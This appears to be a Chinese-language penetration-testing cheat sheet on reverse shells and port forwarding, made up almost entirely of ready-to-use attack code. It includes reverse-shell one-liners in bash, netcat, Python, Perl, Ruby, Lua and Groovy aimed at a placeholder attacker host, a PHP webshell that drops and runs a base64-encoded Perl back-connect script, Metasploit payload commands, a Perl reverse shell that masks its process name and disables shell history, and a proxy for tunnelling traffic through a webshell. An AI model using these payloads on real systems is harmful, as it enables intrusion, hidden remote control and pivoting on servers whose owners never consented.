Web渗透中的反弹Shell与端口转发的奇淫技巧

bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

nc -e /bin/sh x.x.x.x 2333

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

[url=https://www.t00ls.com/space-uid-5987.html]@system[/url]($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}



$yourip = "x.x.x.x";

$yourport = "2333";

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

msf > use multi/handler

msf exploit(handler) > set PAYLOAD php/reverse_php

msf exploit(handler) > set LHOST x.x.x.x

msf exploit(handler) > set LPORT 2333

msf exploit(handler) > exploit

msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp

msf exploit(handler) > set LHOST 192.168.10.1

msf exploit(handler) > exploit

python -c 'import

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("x.x.x.x",2333))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"]);

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc =

subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,

stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

import base64;

exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0

LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))

import socket,struct

s=socket.socket(2,1)

s.connect(('x.x.x.x',2333))

l=struct.unpack('>I',s.recv(4))[0]

d=s.recv(4096)

while len(d)!=l:

d+=s.recv(4096)

exec(d,{'s':s})

from socket import *

import subprocess

import os, threading

def send(talk, proc):

import time

while True:

msg = proc.stdout.readline()

talk.send(msg)

if __name__ == "__main__":

server=socket(AF_INET,SOCK_STREAM)

server.bind(('0.0.0.0',23333))

server.listen(5)

print 'waiting for connect'

talk, addr = server.accept()

print 'connect from',addr

proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,

stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)

t = threading.Thread(target = send, args = (talk, proc))

t.setDaemon(True)

t.start()

while True:

cmd=talk.recv(1024)

proc.stdin.write(cmd)

proc.stdin.flush()

server.close()

from socket import *

import subprocess

import os, threading, sys, time

if __name__ == "__main__":

server=socket(AF_INET,SOCK_STREAM)

server.bind(('0.0.0.0',11))

server.listen(5)

print 'waiting for connect'

talk, addr = server.accept()

print 'connect from',addr

proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

perl -e 'use

Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))

{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~-

>fdopen($c,w);system$_ while<>;'

#!/usr/bin/perl -w

# perl-reverse-shell - A Reverse Shell implementation in PERL

use strict;

use Socket;

use FileHandle;

use POSIX;

my $VERSION = "1.0";

# Where to send the reverse shell. Change these.

my $ip = 'x.x.x.x';

my $port = 2333;

# Options

my $daemon = 1;

my $auth = 0; # 0 means authentication is disabled and any

# source IP can access the reverse shell

my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations

my $global_page = "";

my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious

$0 = "[httpd]";

# Authenticate based on source IP address if required

if (defined($ENV{'REMOTE_ADDR'})) {

cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {

unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {

cgiprint("ERROR: Your client isn't authorised to view this page");

cgiexit();

}

}

} elsif ($auth) {

cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");

cgiexit(0);

}

# Background and dissociate from parent process if required

if ($daemon) {

my $pid = fork();

if ($pid) {

cgiexit(0); # parent exits

}

setsid();

chdir('/');

umask(0);

}

# Make TCP connection for reverse shell

socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {

cgiprint("Sent reverse shell to $ip:$port");

cgiprintpage();

} else {

cgiprint("Couldn't open reverse shell to $ip:$port: $!");

cgiexit();

}

# Redirect STDIN, STDOUT and STDERR to the TCP connection

open(STDIN, ">&SOCK");

open(STDOUT,">&SOCK");

open(STDERR,">&SOCK");

$ENV{'HISTFILE'} = '/dev/null';

system("w;uname -a;id;pwd");

exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print

sub cgiprint {

my $line = shift;

$line .= "<p>\n";

$global_page .= $line;

}

# Wrapper around exit

sub cgiexit {

cgiprintpage();

exit 0; # 0 to ensure we don't give a 500 response.

}



# Form HTTP response using all the messages gathered by cgiprint so far

sub cgiprintpage {

print "Content-Length: " . length($global_page) . "\r

Connection: close\r

Content-Type: text\/html\r\n\r\n" . $global_page;

}

<%@Language=PerlScript%>

<%

system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");

#⽤用system函数执⾏行命令的⽅方式

#exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");

#⽤用exec函数执⾏行命令的⽅方式

%>

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

#!/usr/bin/env python

# -*- coding: utf-8 -*-

import sys

import socket



import threading

import logging

import optparse

class PipeThread(threading.Thread):

def __init__(self, source_fd, target_fd):

super(PipeThread, self).__init__()

self.logger = logging.getLogger('PipeThread')

self.source_fd = source_fd

self.target_fd = target_fd

self.source_addr = self.source_fd.getpeername()

self.target_addr = self.target_fd.getpeername()

def run(self):

while True:

try:

data = self.source_fd.recv(4096)

if len(data) > 0:

self.logger.debug('read %04i from %s:%d', len(data),

self.source_addr[0], self.source_addr[1])

sent = self.target_fd.send(data)

self.logger.debug('write %04i to %s:%d', sent,

self.target_addr[0], self.target_addr[1])

else:

break

except socket.error:

break

self.logger.debug('connection %s:%d is closed.', self.source_addr[0],

self.source_addr[1])

self.logger.debug('connection %s:%d is closed.', self.target_addr[0],

self.target_addr[1])

self.source_fd.close()

self.target_fd.close()



class Forwarder(object):

def __init__(self, ip, port, remoteip, remoteport, backlog=5):

self.remoteip = remoteip

self.remoteport = remoteport

self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

self.sock.bind((ip, port))

self.sock.listen(backlog)

def run(self):

while True:

client_fd, client_addr = self.sock.accept()

target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

target_fd.connect((self.remoteip, self.remoteport))

threads = [

PipeThread(client_fd, target_fd),

PipeThread(target_fd, client_fd)

]

for t in threads:

t.setDaemon(True)

t.start()

def __del__(self):

self.sock.close()

if __name__ == '__main__':

parser = optparse.OptionParser()

parser.add_option(

'-l', '--local-ip', dest='local_ip',

help='Local IP address to bind to')

parser.add_option(

'-p', '--local-port',

type='int', dest='local_port',

help='Local port to bind to')

parser.add_option(

'-r', '--remote-ip', dest='remote_ip',

help='Local IP address to bind to')

parser.add_option(

'-P', '--remote-port',

type='int', dest='remote_port',



help='Remote port to bind to')

parser.add_option(

'-v', '--verbose',

action='store_true', dest='verbose',

help='verbose')

opts, args = parser.parse_args()

if len(sys.argv) == 1 or len(args) > 0:

parser.print_help()

exit()

if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):

parser.print_help()

exit()

if opts.verbose:

log_level = logging.DEBUG

else:

log_level = logging.CRITICAL

logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')

forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)

try:

forwarder.run()

except KeyboardInterrupt:

print 'quit'

exit()

python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443

nohup python s5.py 1080 &

<?php

if(!isset($_GET['url'])){

exit(0);

}

$ch = curl_init();

$url=$_GET['url'];

if(strstr($url,'?')){

$url.='&';

}

else{

$url.='?';

}

unset($_GET['url']);

foreach($_GET as $Key=>$Val){

if(get_magic_quotes_gpc()){

$Val=stripslashes($Val);

}

$url=$url.'&'.$Key.'='.urlencode($Val);

}

$cookie='';

foreach($_COOKIE as $Key=>$Val){

if(get_magic_quotes_gpc()){

$Val=stripslashes($Val);

}

$cookie=$cookie.$Key.'='.urlencode($Val).'; ';

}

if($_SERVER['REQUEST_METHOD']=="POST"){

curl_setopt($ch, CURLOPT_POST, 1);

$post_data='';

foreach($_POST as $Key=>$Val){

if(get_magic_quotes_gpc()){

$Val=stripslashes($Val);

}

$post_data=$post_data.'&'.$Key.'='.urlencode($Val);

}

curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

}



curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

curl_setopt($ch, CURLOPT_COOKIE, $cookie);

curl_setopt($ch, CURLOPT_HEADER, TRUE);

curl_setopt($ch, CURLOPT_NOBODY, FALSE);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

if(isset($_SERVER['HTTP_REFERER'])){

curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);

}

$Response=curl_exec($ch);

if(!$Response){

curl_close($ch);

exit(0);

}

$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);

$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));

$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));

$Headers=split("\r\n",$Header);

foreach($Headers as $ThusHead){

if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){

continue;

}

header($ThusHead,FALSE);

}

echo $Body;

curl_close($ch);

?>

server {

listen 监听端⼝口;

location ~ () {

proxy_pass http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;

proxy_set_header Host "访问webshell所用域名";

}

}